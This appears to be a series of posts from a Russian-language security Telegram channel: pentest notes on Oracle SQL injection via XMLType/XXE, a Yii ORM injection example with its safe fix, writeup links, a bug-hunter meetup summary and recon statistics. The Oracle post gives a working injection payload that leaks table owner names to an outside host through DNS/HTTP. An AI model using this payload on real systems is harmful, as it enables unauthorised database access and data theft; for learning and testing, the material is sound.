ANTICHAT Channel

#sqli #oracle XXE via SQLi Oracle ? Из всех SQL инъекций, которые мне попадались реже всего сталкивался c ORACLE, если не считать прям каких-то редких и специфических. И недавно на пентесте обнаружил инъекцию в ORACLE. При быстром поиске возникли подозрения на XXE, но эксплуатация к сожалению, оказалась невозможна, версия уже запатчена, но вектор интересный, подробнее про этот вектор можно прочитать тут: https://www.netspi.com/blog/technical/web-application-penetration-testing/advisory-xxe-injection-oracle-database-cve-2014-6577/ Но саму SQLi полноценно эксплуатировать получилось все через тот же XMLType. В моем случае это оказался Error-Based и не нужно было думать о передаче данных в DNS записи. Пайлоад в итоге выглядит так, с выводом, как на скрине.

'||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY % jiest SYSTEM "http://'||(select owner from (select owner, rownum as rn from (select DISTINCT owner from all_tables order by owner asc)) where rn=1)||'.server/">%jiest;]>'),'/l') from dual)||'

Но, в случае, если у нас слепая инъекция и у нас есть возможность достучаться до DNS, получается DNS – Based OOB SQLi. С помощью такого запроса, как выше можно отправить данные, но если нужно много данных из БД отправить, то стандартным запросом не получится, так как в DNS записях не могут быть пробелы, поэтому пробелы нужно заменить, например, с помощью функции Replace() еще и в Base64 выводить. Удобная штука при эксплуатации: https://livesql.oracle.com/

Десер в JS, хули 🙃 https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

Yii SQL-injection Тут попалась скуля в Yii, в общем то довольно простая и понятная, но информации по скулям в Yii в инете мало, поэтому кажется что стоит написать. PHP фремворк Yii использует свою собственную ORM - Yii ActiveRecord. В этом ORM можно выбирать объекты безопасно:

User::find()->where(['email'=>$email]);
User::find()->where(['IN','user.id',$idList]);

Но также where (а вместе с ним разнообразные andWhere, orWhere и т.д.) может принимать строку, что может привести к скуле при неаккуратном использовании:

User::find()->where("lower(username)=$username")

Хотя вот так тоже все хорошо:

User::find()->where('lower(username)=:username', [':username' => $username])

Произошёл закуп У говноблохеров и помойных СМИ закупили рекламу против VPN-сервисов. Не каких-то конкретных, а вообще всех. В постах блохеры жалуются на зависающие приложения, быстрый разряд батареи и другие проблемы, которые происходят якобы из-за VPN. Слыш, не смей читать заблокированные в РФ сайты, а то аккумулятор сядет

🔥 https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/

В прошлую пятницу впервые собрался наш «Клуб неанонимных багхантеров». В программе были 4 доклада крутых ресерчеров, уютная атмосфера и много живого общения.  Записей докладов нет, но по ссылке доступны презентации. Темы выступлений: Лик неинициализированной памяти из OneDrive через картинки.  Про историю эксплуатации одной уязвимости в опенсорсе и техники поиска аналогичных багов, Эмиль Лернер  No-code-автоматизация багхантинга на коленке за 5 минут.  Про лайфхаки и опыт исследований, Максим Брагин  Взломай меня… полностью!  Про факапы, успехи, инструменты для багхантинга и самые дорогие баги, Рамазан Рамазанов От Not Applicable до H1 Russian Top.  Про приватную платформу SynAck, переход на full-time, первую пятизначную выплату и New Relic Top-1, Антон Субботин Вам интересны активности нашего клуба? Регистрируйтесь как багхантер на сайте и следите за обновлениями! 🐞🔍🍻

BUG BOUNTY RECON DATASET PROGRAM: 120 DOMAIN: 434 SUBDOMAIN: 2045531 ASN: 956463 PORT: 193346 WEBSITE: 133165 PROBE: 65193 FAVICON: 32232 SCREENSHOT: 33087